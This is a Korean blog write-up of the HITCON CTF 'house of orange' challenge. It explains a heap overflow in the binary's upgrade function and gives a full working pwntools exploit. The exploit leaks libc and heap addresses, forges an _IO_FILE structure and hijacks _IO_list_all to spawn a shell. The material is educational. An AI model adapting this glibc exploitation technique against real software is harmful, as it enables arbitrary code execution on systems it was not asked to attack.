Profile

youngsouk

youngsouk

house_of_orange (4) HITCON house of orange writeup

저번까지 house of orange 공격기법에 대해 써봤으니 이번에는 진짜 바이너리 가지고 익스를 해보겠습니다.

main 함수와 실행했을때의 모습입니다. 힙 메뉴를 가지고 있는 전형적인 문제라고 할 수 있습니다. 

int make_house()
{
  unsigned int size; // [rsp+8h] [rbp-18h]
  signed int color; // [rsp+Ch] [rbp-14h]
  void *malloc_header; // [rsp+10h] [rbp-10h]
  _DWORD *v4; // [rsp+18h] [rbp-8h]

  if ( house_cnt > 3u )
  {
    puts("Too many house");
    exit(1);
  }

  malloc_header = malloc(0x10uLL);
  printf("Length of name :");
  size = input();
  if ( size > 0x1000 )
    size = 0x1000;

  *(malloc_header + 1) = malloc(size);
  if ( !*(malloc_header + 1) )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  read_place_size(*(malloc_header + 1), size);
  v4 = calloc(1uLL, 8uLL);

  printf("Price of Orange:", 8LL);
  *v4 = input();

  color_introduce();
  printf("Color of Orange:");
  color = input();
  if ( color != 56746 && (color <= 0 || color > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( color == 56746 )
    v4[1] = 56746;
  else
    v4[1] = color + 30;
  *malloc_header = v4;
  last_house = malloc_header;
  ++house_cnt;
  return puts("Finish");
}

make_house부터 보도록 하겠습니다.  house_cnt가 3 초과라면 나가는 것을 보아 4번까지 가능할 거 같습니다. 다음에는 malloc(0x10)을 그호출하는데 이것은 나중에 할당한 힙에 관련된 정보를 저장하는 부분입니다. 그 다음에는 우리가 요청한 크기를 한번 필터링 한뒤에 그만큼 할당을 해주게 됩니다. 그 다음에는 price와 color를 정하게 되는데 이것은 별로 중요하지 않은 것입니다. 

 

그 다음으로는 see the house를 보도록 하겠습니다. last_house 즉 가장 마지막에 생성한 house를 대상으로 입력했던 값과  price와 color를 출력해주게 됩니다.

int upgrade_house()
{
  _DWORD *v1; // rbx
  unsigned int len; // [rsp+8h] [rbp-18h]
  signed int color; // [rsp+Ch] [rbp-14h]

  if ( upgrade_cnt > 2u )
    return puts("You can't upgrade more");
  if ( !last_house )
    return puts("No such house !");

  printf("Length of name :");
  len = input();
  if ( len > 0x1000 )
    len = 0x1000;

  printf("Name:");
  read_place_size(last_house[1], len);

  printf("Price of Orange: ", len);
  v1 = *last_house;
  *v1 = input();

  color_introduce();
  printf("Color of Orange: ");
  color = input();
  if ( color != 56746 && (color <= 0 || color > 7) )
  {
    puts("No such color");
    exit(1);
  }

  if ( color == 56746 )
    *(*last_house + 4LL) = 56746;
  else
    *(*last_house + 4LL) = color + 30;
  ++upgrade_cnt;
  return puts("Finish");
}

다음으로는 upgrade 부분을 보겠습니다. 여기서는 우리가 입력한 크기만큼 입력받을 수 있습니다. 그리고 cnt를 통해 횟수를 관리하는데 3번까지만 할 수 있을것이라 판단할 수 있습니다. 여기서 취약점이 발생하는데 그 이유는 malloc()한 크기와 상관없이 입력을 받기때문입니다. 

이렇게 main에서 사용되는 함수들을 알아보았습니다. 이제 house_of_orange를 이용한 익스를 구상해야됩니다.

1. 적당한 크기로 build house를 실행시킨다. 그럼 힙이 3개를 할당받게 됩니다.

2. upgrade_house함수를 이용해 heap overflow를 일으켜 top chunk의 크기를 작게 수정해줍니다. (※크기를 page_align에 맞게 잘 수정해줍니다. 0x20e1이였다면 0x0e1로 수정하면 됩니다.

3. 수정한 top chunk의 크기보다 크게 build house를 실행시킵니다. 그럼 원래의 top chunk는 free되게 됩니다.

4. large bin에 들어갈 크기(ex : 1024)로 build house를 실행시킵니다.

5. 3, 4번과정을 바탕으로 libc leak, heap leak를 차례로 진행합니다.

6. 가짜 _IO_FILE 구조체를 작성&&크기를 0x61로 바꿔준 뒤 unsorted bin attack을 통해 IO_list_all을 수정해줍니다. 

7. build_house를 실행시킵니다.

 

먼저 1,2,3 번을 수행해봅시다

from pwn import *

context.log_level="debug"

def build_house(length,name,price,color):
        p.sendlineafter('Your choice : ', '1')
        p.sendlineafter('Length of name :',str(length))
        p.sendafter('Name :', str(name))
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(color))

def see_the_house():
        p.sendlineafter('Your choice : ', '2')

def upgrade_house(length,name,price,color):
        p.sendlineafter('Your choice : ', '3')
        p.sendlineafter('Length of name :',str(length))
        p.sendafter('Name:', str(name))
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(color))

p = process('./houseoforange')
e = ELF("./houseoforange")
l = e.libc

pause()
build_house(400,10,10,1)

####free old top chunk
payload = 'a' * 0x190

payload += p64(0) ## next chunk : prev_size
payload += p64(33) ## next chunk : size
payload += p64(0x1f0000000a) ##next chunk : content
payload += p64(0) ##next chunk : content

payload += p64(0) ## top chunk : prev_size
payload += p64(0xe21) ## top chunk : size

upgrade_house(4000,payload,10,1)

build_house(0x1000,10,10,1) ## call malloc : request > top chunk_size
#####################

이것을 실행시키게 되면 

이런식으로 메모리가 할당이 되게 됩니다. 이 과정이 잘 이해가 안되시는 분은 아래의 글들을 읽어주시기 바랍니다.

2019/08/30 - [힙(heap)/glibc] - sysmalloc() 분석(코드 분석&&순서도)

 

2019/09/01 - [힙(heap)/house_of_orange] - house_of_orange (1)

그 다음으로 해야 할것은 4. large bin에 들어갈 크기(ex : 1024)로 build house를 실행시켜주어야 합니다. 굳이 large bin으로 할당을 해야하나? 라는 의문이 드실 수 있습니다. 그 의문을 해소하기 위해서는 _int_malloc함수를 분석해보아야 합니다. 

 

  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {

_int_malloc의 일부분을 가져왔습니다. 이 부분은 for문으로 무한 반복을 돌면서 unsorted bin에 있는 청크들을 각자의 크기에 맞는 bin으로 보내게 됩니다. 아래의 if문에서는 unsorted bin에 있는 청크를 분할하는 경우도 있는데 이 경우에는 large bin크기여서 빠져나간다는 것을 보여주기 위해 가져온 것입니다.

이 for문을 거치면서 가게 되면 large size를 가진 chunk만의 특징인 fd_next_size와 bk_next_size를 셋팅하는 부분이 오게 됩니다.

              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

이렇게 수정을 해주게 되는데 이것은 크기에 맞는 large bin에 이 청크 하나만 들어가게 될 때입니다. 바로 이 상황에 이 루틴을 타게 됩니다. 이것이 바로 우리가 large bin크기로 할당을 해야하는 이유입니다. 이것을 이용하면 heap leak를 할 수 있게되기 때문입니다.

              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
	  if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }

그 다음에는 large bin에 있는 청크중에서 분할을 해서 가져오게 됩니다. 근데 할당할 청크의 내용을 초기화하지 않으므로 내용이 다 남아있게 됩니다. 그래서 우리가 leak을 할 수 있게 되는것입니다. 이것과 관련된 더 자세한 내용은 아래의 내용을 참고해주세요.

2019/08/09 - [힙(heap)/glibc] - _int_malloc 함수 분석 (1)

2019/08/09 - [힙(heap)/glibc] - _int_malloc 함수 분석 (2)

2019/08/12 - [힙(heap)/glibc] - _int_malloc함수 분석(3)

그래서 우리가 large bin크기(ex : 1024)로 할당을 하게 되면  메모리가 

이런 모습으로 할당이 되게 됩니다. 

이 다음에 할 것은 아무 문자 8개를 집어 넣어서 main_arena + 88주소를 leak && libc leak을 진행하면 됩니다. 이 두 과정을 코드로 나타내면 

###LEAK libc using main_arena + 88
build_house(1100,'LEAK_ADD',10,1)
see_the_house()

libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 1624 - 16
libc -= l.sym['__malloc_hook']
log.info('libc : ' + hex(libc))
log.info('sys : ' + hex(libc + l.sym['system']))
###########################

###LEAK heap_addr
upgrade_house(1000,'a' * 16, 10, 1)
see_the_house()

p.recvuntil('a' * 16)
old_top_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('old_top_addr : ' + hex(old_top_addr))
################

이런식으로 되게 됩니다. 

 

이 다음에는 가짜 _IO_FILE 구조체를 작성해야 합니다. 이 가짜 _IO_FILE 구조체를 작성할 곳은 우리가 4번에서 할당하고 남은 old_top_chunk 부분입니다.

_IO_FILE 구조체에 대한 조건과 작성법은 아래를 참고해 주세요

2019/09/03 - [힙(heap)/house_of_orange] - house_of_orange (2)

 

그 다음에는 unsorted bin attack을 통해 _IO_list_all을 main_arena+88로 덮고, 크기를 0x61로 수정을 해야되는데 이에 관련된 내용은

2019/09/04 - [힙(heap)/house_of_orange] - house_of_orange (3)

여기를 참고해주세요.

그래서 이 두 과정을 코드로 나타내면 

###unsorted bin attack && write fake _IO_FILE
payload = 'a' * 0x450

payload += p64(0) ## next chunk : prev_size
payload += p64(33) ## next chunk : size
payload += p64(0x1f0000000a) ##next chunk : content
payload += p64(0) ##next chunk : content

payload += '/bin/sh\x00' ##fake _IO_FILE start
payload += p64(0x61) ## set size 0x61 to locate smallbin[4]
payload += p64(libc + l.sym['__malloc_hook'] + 16 + 88) ## main_arena + 88
payload += p64(libc + l.sym['_IO_list_all'] - 16) ## _IO_list_all -> main_arena + 88
payload += p64(2) ## _IO_write_base
payload += p64(3) ## _IO_write_ptr

payload += p64(libc + l.sym['system']) ## _IO_OVERFLOW
payload += 'a' * (0xc0 - 8 * 7)
payload += p64(0) ## _mode
payload += 'a' * (0xd8 - 0xc0 - 8)
payload += p64(old_top_addr + 0x450 + 8 * 9) ## vtable

upgrade_house(0x1000,payload,10,1)
#####################

이런식으로 되게 됩니다. 이 과정을 한뒤에 메모리는

이런 모습이 되게 될 것입니다. 이제 공격 준비를 다 마쳤습니다. malloc()을 한번만 트리거 시킨다면 쉘을 딸 수 있을 것입니다. 

따라서 전체 익스 코드는 

from pwn import *

context.log_level="debug"

def build_house(length,name,price,color):
        p.sendlineafter('Your choice : ', '1')
        p.sendlineafter('Length of name :',str(length))
        p.sendafter('Name :', str(name))
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(color))

def see_the_house():
        p.sendlineafter('Your choice : ', '2')

def upgrade_house(length,name,price,color):
        p.sendlineafter('Your choice : ', '3')
        p.sendlineafter('Length of name :',str(length))
        p.sendafter('Name:', str(name))
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(color))

p = process('./houseoforange')
e = ELF("./houseoforange")
l = e.libc

pause()
build_house(400,10,10,1)

####free old top chunk
payload = 'a' * 0x190

payload += p64(0) ## next chunk : prev_size
payload += p64(33) ## next chunk : size
payload += p64(0x1f0000000a) ##next chunk : content
payload += p64(0) ##next chunk : content

payload += p64(0) ## top chunk : prev_size
payload += p64(0xe21) ## top chunk : size

upgrade_house(4000,payload,10,1)

build_house(0x1000,10,10,1) ## call malloc : request > top chunk_size
#####################

###LEAK libc using main_arena + 88
build_house(1100,'LEAK_ADD',10,1)
see_the_house()

libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 1624 - 16
libc -= l.sym['__malloc_hook']
log.info('libc : ' + hex(libc))
log.info('sys : ' + hex(libc + l.sym['system']))
###########################

###LEAK heap_addr
upgrade_house(1000,'a' * 16, 10, 1)
see_the_house()

p.recvuntil('a' * 16)
old_top_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('old_top_addr : ' + hex(old_top_addr))
################


###unsorted bin attack && write fake _IO_FILE
payload = 'a' * 0x450

payload += p64(0) ## next chunk : prev_size
payload += p64(33) ## next chunk : size
payload += p64(0x1f0000000a) ##next chunk : content
payload += p64(0) ##next chunk : content

payload += '/bin/sh\x00' ##fake _IO_FILE start
payload += p64(0x61) ## set size 0x61 to locate smallbin[4]
payload += p64(libc + l.sym['__malloc_hook'] + 16 + 88) ## main_arena + 88
payload += p64(libc + l.sym['_IO_list_all'] - 16) ## _IO_list_all -> main_arena + 88
payload += p64(2) ## _IO_write_base
payload += p64(3) ## _IO_write_ptr

payload += p64(libc + l.sym['system']) ## _IO_OVERFLOW
payload += 'a' * (0xc0 - 8 * 7)
payload += p64(0) ## _mode
payload += 'a' * (0xd8 - 0xc0 - 8)
payload += p64(old_top_addr + 0x450 + 8 * 9) ## vtable

upgrade_house(0x1000,payload,10,1)
#####################

pause()
p.sendlineafter('Your choice : ', '1') ## triger malloc()

p.interactive()

이렇게 됩니다. 이것을 실행시키게 되면 

이런식으로 성공적으로 쉘이 따지게 됩니다.

'힙(heap) > house_of_orange' 카테고리의 다른 글

house_of_orange (6) pwnable.tw - bookwriter  (0) 2019.09.10
house_of_orange (5) 자동 구조체 생성기 모듈 만들기  (0) 2019.09.09
house_of_orange (3)  (0) 2019.09.04
house_of_orange (2)  (0) 2019.09.03
house_of_orange (1)  (0) 2019.09.01